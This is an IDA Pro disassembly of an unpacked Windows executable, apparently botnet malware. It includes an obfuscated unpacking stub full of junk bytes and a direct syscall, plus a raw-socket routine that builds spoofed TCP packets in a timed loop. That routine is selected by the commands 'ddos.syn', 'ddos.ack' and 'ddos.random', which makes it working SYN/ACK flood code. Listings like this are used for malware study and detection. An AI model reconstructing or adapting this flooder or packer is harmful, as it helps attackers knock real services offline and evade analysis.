;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 0F86EF232A0F754B804B97A7B745B341
;
; The code at 400000..401000 is hidden from normal disassembly
; and was loaded because the user ordered to load it explicitly
;
; <<<< IT MAY CONTAIN TROJAN HORSES, VIRUSES, AND DO HARMFUL THINGS >>>
;
;
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
HEADER segment page public 'DATA' use32
assume cs:HEADER
;org 400000h
assume es:nothing, ss:nothing, ds:seg001, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
public __ImageBase
__ImageBase proc near ; DATA XREF: sub_4197BC+3Eo
; sub_4197BC:loc_419861r
dec ebp
pop edx
nop
jmp short loc_400006
; ---------------------------------------------------------------------------
align 2
loc_400006: ; CODE XREF: __ImageBase+3j
push edx
jmp loc_400195
; ---------------------------------------------------------------------------
dd 4550h, 3014Ch, 3 dup(0)
dd 30F00E0h, 10Bh, 5 dup(0)
dd 0Ch, 400000h, 1000h, 200h, 1, 0
dd 4, 0
dd 88200h, 400h, 0
dd 2, 100000h, 1000h, 100000h, 1000h, 0
dd 10h, 2 dup(0)
dd 88000h, 1Fh dup(0)
dd 6C000h, 1000h, 6C000h, 1000h, 3 dup(0)
dd 0E0000060h, 2 dup(0)
dd 1B000h, 6D000h, 1B000h, 6D000h, 3 dup(0)
dd 0C0000040h, 6164692Eh, 326174h, 1000h, 88000h, 200h
dd 88000h, 417972h, 47000000h, 72507465h, 0C0000040h, 73657264h
dd 73h, 72695600h, 6C617574h, 746F7250h, 746365h
db 0
; ---------------------------------------------------------------------------
loc_400195: ; CODE XREF: __ImageBase+7j
jmp short loc_400198
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_400198: ; CODE XREF: __ImageBase:loc_400195j
mov eax, large fs:30h
jmp short loc_4001A1
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4001A1: ; CODE XREF: __ImageBase+19Ej
mov ecx, [eax+0Ch]
jecxz short loc_400215
jmp short loc_4001A9
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4001A9: ; CODE XREF: __ImageBase+1A6j
add eax, 0ACh
jmp short loc_4001B1
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4001B1: ; CODE XREF: __ImageBase+1AEj
cmp word ptr [eax], 893h
jmp short loc_4001B9
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4001B9: ; CODE XREF: __ImageBase+1B6j
jnz short loc_4001C5
jmp short loc_4001BE
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4001BE: ; CODE XREF: __ImageBase+1BBj
mov eax, 0FFFFFF38h
jmp short loc_4001D9
; ---------------------------------------------------------------------------
loc_4001C5: ; CODE XREF: __ImageBase:loc_4001B9j
jmp short loc_4001C8
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4001C8: ; CODE XREF: __ImageBase:loc_4001C5j
cmp word ptr [eax], 0A28h
jnz short loc_400219
jmp short loc_4001D2
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4001D2: ; CODE XREF: __ImageBase+1CFj
mov eax, 0FFFFFF1Ah
jmp short $+2
loc_4001D9: ; CODE XREF: __ImageBase+1C3j
jmp short loc_4001DC
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4001DC: ; CODE XREF: __ImageBase:loc_4001D9j
xor ecx, ecx
jmp short loc_4001E1
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4001E1: ; CODE XREF: __ImageBase+1DEj
push ecx
jmp short loc_4001E5
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4001E5: ; CODE XREF: __ImageBase+1E2j
push ecx
jmp short loc_4001E9
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4001E9: ; CODE XREF: __ImageBase+1E6j
push 11h
jmp short loc_4001EE
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4001EE: ; CODE XREF: __ImageBase+1EBj
push 0FFFFFFFEh
jmp short loc_4001F3
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4001F3: ; CODE XREF: __ImageBase+1F0j
call sub_4001FB
jmp short sub_4001FB
__ImageBase endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0CDh
; =============== S U B R O U T I N E =======================================
sub_4001FB proc near ; CODE XREF: __ImageBase:loc_4001F3p
; __ImageBase+1F8j
arg_0 = byte ptr 4
add dword ptr [esp+0], 18h
jmp short loc_400202
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_400202: ; CODE XREF: sub_4001FB+4j
not eax
jmp short loc_400207
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_400207: ; CODE XREF: sub_4001FB+9j
lea edx, [esp+arg_0]
jmp short loc_40020E
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_40020E: ; CODE XREF: sub_4001FB+10j
int 2Eh ; DOS 2+ internal - EXECUTE COMMAND
; DS:SI -> counted CR-terminated command string
add esp, 14h
jmp short loc_400219
; ---------------------------------------------------------------------------
loc_400215: ; CODE XREF: __ImageBase+1A4j
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_400219: ; CODE XREF: __ImageBase+1CDj
; sub_4001FB+18j
call sub_400221
jmp short sub_400221
sub_4001FB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0CDh
; =============== S U B R O U T I N E =======================================
sub_400221 proc near ; CODE XREF: sub_4001FB:loc_400219p
; sub_4001FB+23j
pop ebp
jmp short loc_400225
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_400225: ; CODE XREF: sub_400221+1j
lea ebp, [ebp-21Eh]
jmp short loc_40022E
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_40022E: ; CODE XREF: sub_400221+Aj
mov ebx, [ebp+138h]
jmp short loc_400237
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_400237: ; CODE XREF: sub_400221+13j
add ebx, ebp
jmp short loc_40023C
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_40023C: ; CODE XREF: sub_400221+18j
lea eax, [esp-4]
jmp short loc_400243
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_400243: ; CODE XREF: sub_400221+1Fj
push eax
jmp short loc_400247
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_400247: ; CODE XREF: sub_400221+23j
push 4
jmp short loc_40024C
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_40024C: ; CODE XREF: sub_400221+28j
push 1000h
jmp short loc_400254
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_400254: ; CODE XREF: sub_400221+30j
push ebp
jmp short loc_400258
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_400258: ; CODE XREF: sub_400221+34j
call dword ptr [ebx+30h]
jmp short loc_40025E
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_40025E: ; CODE XREF: sub_400221+3Aj
mov eax, 0
jmp short loc_400266
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_400266: ; CODE XREF: sub_400221+42j
mov [ebp+94h], eax
jmp short loc_40026F
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_40026F: ; CODE XREF: sub_400221+4Bj
lea esi, [ebx+50h]
jmp short loc_400278
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_400278: ; CODE XREF: sub_400221+54j
lea edi, [ebp+1000h]
jmp short loc_400281
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_400281: ; CODE XREF: sub_400221+5Dj
call sub_400355
jmp short loc_400289
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_400289: ; CODE XREF: sub_400221+65j
mov esi, 22130h
jmp short loc_400291
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_400291: ; CODE XREF: sub_400221+6Dj
or esi, esi
jz loc_400339
add esi, ebp
loc_40029B: ; CODE XREF: sub_400221+113j
jmp short loc_40029E
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_40029E: ; CODE XREF: sub_400221:loc_40029Bj
mov ecx, [esi+0Ch]
jmp short loc_4002A4
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4002A4: ; CODE XREF: sub_400221+80j
or ecx, ecx
jz loc_400339
jmp short loc_4002AF
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4002AF: ; CODE XREF: sub_400221+8Bj
add ecx, ebp
jmp short loc_4002B4
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4002B4: ; CODE XREF: sub_400221+90j
mov edi, ecx
jmp short loc_4002B9
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4002B9: ; CODE XREF: sub_400221+95j
push edi
jmp short loc_4002BD
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4002BD: ; CODE XREF: sub_400221+99j
call dword ptr [ebx+28h]
mov edi, eax
jmp short loc_4002C5
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4002C5: ; CODE XREF: sub_400221+A1j
mov ecx, [esi]
or ecx, ecx
jnz short loc_4002CE
mov ecx, [esi+10h]
loc_4002CE: ; CODE XREF: sub_400221+A8j
jecxz short loc_40034B
add ecx, ebp
jmp short loc_4002D5
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4002D5: ; CODE XREF: sub_400221+B1j
mov edx, [esi+10h]
jmp short loc_4002DB
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4002DB: ; CODE XREF: sub_400221+B7j
add edx, ebp
loc_4002DD: ; CODE XREF: sub_400221+10Ej
jmp short loc_4002E0
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4002E0: ; CODE XREF: sub_400221:loc_4002DDj
mov eax, [ecx]
jmp short loc_4002E5
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4002E5: ; CODE XREF: sub_400221+C1j
or eax, eax
jz short loc_400331
jmp short loc_4002EC
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4002EC: ; CODE XREF: sub_400221+C8j
test eax, 80000000h
jz short loc_4002FD
jmp short loc_4002F6
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_4002F6: ; CODE XREF: sub_400221+D2j
and eax, 0FFFFh
jmp short loc_400308
; ---------------------------------------------------------------------------
loc_4002FD: ; CODE XREF: sub_400221+D0j
add eax, ebp
jmp short loc_400302
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_400302: ; CODE XREF: sub_400221+DEj
add eax, 2
jmp short loc_400308
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_400308: ; CODE XREF: sub_400221+DAj
; sub_400221+E4j
push ecx
push edx
jmp short loc_40030D
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_40030D: ; CODE XREF: sub_400221+E9j
push eax
push edi
jmp short loc_400312
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_400312: ; CODE XREF: sub_400221+EEj
call dword ptr [ebx+2Ch]
jmp short loc_400318
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_400318: ; CODE XREF: sub_400221+F4j
pop edx
pop ecx
jmp short loc_40031D
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_40031D: ; CODE XREF: sub_400221+F9j
or eax, eax
jz short loc_40034B
mov [edx], eax
jmp short loc_400326
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_400326: ; CODE XREF: sub_400221+102j
add ecx, 4
jmp short loc_40032C
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_40032C: ; CODE XREF: sub_400221+108j
add edx, 4
jmp short loc_4002DD
; ---------------------------------------------------------------------------
loc_400331: ; CODE XREF: sub_400221+C6j
add esi, 14h
jmp loc_40029B
; ---------------------------------------------------------------------------
loc_400339: ; CODE XREF: sub_400221+72j
; sub_400221+85j
jmp short loc_40033C
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_40033C: ; CODE XREF: sub_400221:loc_400339j
mov eax, ebp
jmp short loc_400341
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_400341: ; CODE XREF: sub_400221+11Dj
add eax, 17B18h
jmp short loc_400349
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_400349: ; CODE XREF: sub_400221+125j
jmp eax
; ---------------------------------------------------------------------------
loc_40034B: ; CODE XREF: sub_400221:loc_4002CEj
; sub_400221+FEj
jmp short loc_40034E
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
loc_40034E: ; CODE XREF: sub_400221:loc_40034Bj
or eax, 0FFFFFFFFh
jmp short locret_400354
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
locret_400354: ; CODE XREF: sub_400221+130j
retn
sub_400221 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_400355 proc near ; CODE XREF: sub_400221:loc_400281p
; FUNCTION CHUNK AT 004003ED SIZE 00000003 BYTES
push ebp
push ebx
cld
mov dl, 80h
xor ebx, ebx
loc_40035C: ; CODE XREF: sub_400355+Fj
movsb
mov bl, 2
loc_40035F: ; CODE XREF: sub_400355+34j
; sub_400355+7Aj
call sub_4003D1
jnb short loc_40035C
xor ecx, ecx
call sub_4003D1
jnb short loc_40038B
xor eax, eax
call sub_4003D1
jnb short loc_40039B
mov bl, 2
inc ecx
mov al, 10h
loc_40037D: ; CODE XREF: sub_400355+2Fj
call sub_4003D1
adc al, al
jnb short loc_40037D
jnz short loc_4003C7
stosb
jmp short loc_40035F
; ---------------------------------------------------------------------------
loc_40038B: ; CODE XREF: sub_400355+18j
call sub_4003DD
sub ecx, ebx
jnz short loc_4003A4
call sub_4003DB
jmp short loc_4003C3
; ---------------------------------------------------------------------------
loc_40039B: ; CODE XREF: sub_400355+21j
lodsb
shr eax, 1
jz short loc_4003ED
adc ecx, ecx
jmp short loc_4003C0
; ---------------------------------------------------------------------------
loc_4003A4: ; CODE XREF: sub_400355+3Dj
xchg eax, ecx
dec eax
shl eax, 8
lodsb
call sub_4003DB
cmp eax, 7D00h
jnb short loc_4003C0
cmp ah, 5
jnb short loc_4003C1
cmp eax, 7Fh
ja short loc_4003C2
loc_4003C0: ; CODE XREF: sub_400355+4Dj
; sub_400355+5Fj
inc ecx
loc_4003C1: ; CODE XREF: sub_400355+64j
inc ecx
loc_4003C2: ; CODE XREF: sub_400355+69j
xchg eax, ebp
loc_4003C3: ; CODE XREF: sub_400355+44j
mov eax, ebp
mov bl, 1
loc_4003C7: ; CODE XREF: sub_400355+31j
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp short loc_40035F
sub_400355 endp
; =============== S U B R O U T I N E =======================================
sub_4003D1 proc near ; CODE XREF: sub_400355:loc_40035Fp
; sub_400355+13p ...
add dl, dl
jnz short locret_4003DA
mov dl, [esi]
inc esi
adc dl, dl
locret_4003DA: ; CODE XREF: sub_4003D1+2j
retn
sub_4003D1 endp
; =============== S U B R O U T I N E =======================================
sub_4003DB proc near ; CODE XREF: sub_400355+3Fp
; sub_400355+55p
xor ecx, ecx
sub_4003DB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4003DD proc near ; CODE XREF: sub_400355:loc_40038Bp
inc ecx
loc_4003DE: ; CODE XREF: sub_4003DD+Dj
call sub_4003D1
adc ecx, ecx
call sub_4003D1
jb short loc_4003DE
retn
sub_4003DD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_400355
loc_4003ED: ; CODE XREF: sub_400355+49j
pop ebx
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_400355
; ---------------------------------------------------------------------------
dd 4 dup(0)
dd 300h dup(?)
HEADER ends
; File Name : u:\work\0f86ef232a0f754b804b97a7b745b341_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 0006C000 ( 442368.)
; Section size in file : 0006C000 ( 442368.)
; Offset to raw data for section: 00001000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
seg001 segment para public 'CODE' use32
assume cs:seg001
;org 401000h
assume es:nothing, ss:nothing, ds:seg001, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; DATA XREF: sub_40CD3A+383Co
var_494 = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
call dword_42104C ; GetTickCount
push eax
call sub_415368
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_28C]
push eax
call sub_4013E8
push eax
lea eax, [ebp+var_494]
push offset unk_423050
push eax
call sub_415316
xor esi, esi
add esp, 20h
cmp [ebp+var_8], esi
jnz short loc_401090
push esi
lea eax, [ebp+var_494]
push [ebp+var_C]
push eax
lea eax, [ebp+var_10C]
push eax
push [ebp+var_294]
call sub_412BD1
add esp, 14h
loc_401090: ; CODE XREF: sub_401000+6Ej
lea eax, [ebp+var_494]
push eax
call sub_40B078
push [ebp+var_290]
call sub_4150F0
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
pop edi
pop esi
sub_401000 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4010B2 proc near ; CODE XREF: sub_4013E8+40p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_43C4CC
test eax, eax
jz short loc_4010F2
xor eax, eax
jmp loc_4013BB
; ---------------------------------------------------------------------------
loc_4010F2: ; CODE XREF: sub_4010B2+37j
xor edi, edi
inc edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_43C5F8
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_4013B3
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_43C534
cmp eax, 0FFFFFFFFh
jz loc_4013A9
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_43C554
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_43C554
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_43C554
mov [ebp+var_12], ax
call sub_415372
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_43C554
push 12345678h
mov [ebp+var_14], ax
call dword_43C550
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_4011C2
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_401216
; ---------------------------------------------------------------------------
loc_4011C2: ; CODE XREF: sub_4010B2+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_4011DE
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_401216
; ---------------------------------------------------------------------------
loc_4011DE: ; CODE XREF: sub_4010B2+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_401216
call sub_415372
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_415372
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_401216: ; CODE XREF: sub_4010B2+10Ej
; sub_4010B2+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_43C554
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
call dword_421054 ; QueryPerformanceFrequency
lea eax, [ebp+var_1C]
push eax
call dword_421050 ; QueryPerformanceCounter
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_4157C0
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_401264: ; CODE XREF: sub_4010B2+2E2j
; sub_4010B2+2EEj
mov [ebp+var_4], bx
call sub_415372
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_43C554
mov [ebp+var_14], ax
call sub_415372
mov edi, eax
shl edi, 10h
call sub_415372
or edi, eax
push edi
call dword_43C554
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_43C550
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_43C554
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4153F0
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call sub_4153F0
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40A0E3
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4153F0
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_4153F0
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_415390
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40A0E3
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4153F0
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_43C5B8
cmp eax, 0FFFFFFFFh
jz short loc_4013BF
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
call dword_421050 ; QueryPerformanceCounter
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_4013A6
jl loc_401264
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jb loc_401264
loc_4013A6: ; CODE XREF: sub_4010B2+2E0j
mov ebx, [ebp+arg_8]
loc_4013A9: ; CODE XREF: sub_4010B2+78j
; sub_4010B2+334j
push [ebp+var_20]
call dword_43C5EC
pop esi
loc_4013B3: ; CODE XREF: sub_4010B2+5Bj
call dword_43C4B4
mov eax, ebx
loc_4013BB: ; CODE XREF: sub_4010B2+3Bj
pop edi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4013BF: ; CODE XREF: sub_4010B2+2CBj
call dword_43C4E8
push eax
lea eax, [ebp+var_F4]
push offset unk_42308C
push eax
call sub_415316
lea eax, [ebp+var_F4]
push eax
call sub_40B078
add esp, 10h
jmp short loc_4013A9
sub_4010B2 endp
; =============== S U B R O U T I N E =======================================
sub_4013E8 proc near ; CODE XREF: sub_401000+4Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_409F7A
push [esp+10h+arg_4]
mov esi, eax
call sub_41587F
push [esp+14h+arg_C]
mov ebx, eax
call sub_41587F
mov edi, eax
call sub_415372
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push [esp+20h+arg_8]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4010B2
add esp, 20h
test eax, eax
jnz short loc_401435
inc eax
loc_401435: ; CODE XREF: sub_4013E8+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4013E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401444 proc near ; DATA XREF: sub_40CD3A+3A2Fo
var_3BC = byte ptr -3BCh
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_138 = byte ptr -138h
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3BCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
xor ebx, ebx
pop ecx
mov esi, eax
lea edi, [ebp+var_1BC]
push 0FFh
inc ebx
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call dword_43C5D4
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_4014DF
call dword_43C4E8
push eax
lea eax, [ebp+var_3BC]
push offset unk_423238
push eax
loc_401493: ; DATA XREF: seg001:off_424D90o
; seg001:off_425D58o
call sub_415316
xor edi, edi
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_4014C2
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_412BD1
add esp, 14h
loc_4014C2: ; CODE XREF: sub_401444+5Cj
lea eax, [ebp+var_3BC]
push eax
call sub_40B078
push [ebp+var_38]
call sub_4150F0
pop ecx
pop ecx
push edi
call dword_421048 ; ExitThread
loc_4014DF: ; CODE XREF: sub_401444+3Aj
lea ecx, [ebp+var_C]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_C], ebx
call dword_43C534
cmp eax, 0FFFFFFFFh
jnz short loc_401556
call dword_43C4E8
push eax
lea eax, [ebp+var_3BC]
push offset unk_4231E8
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_401539
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
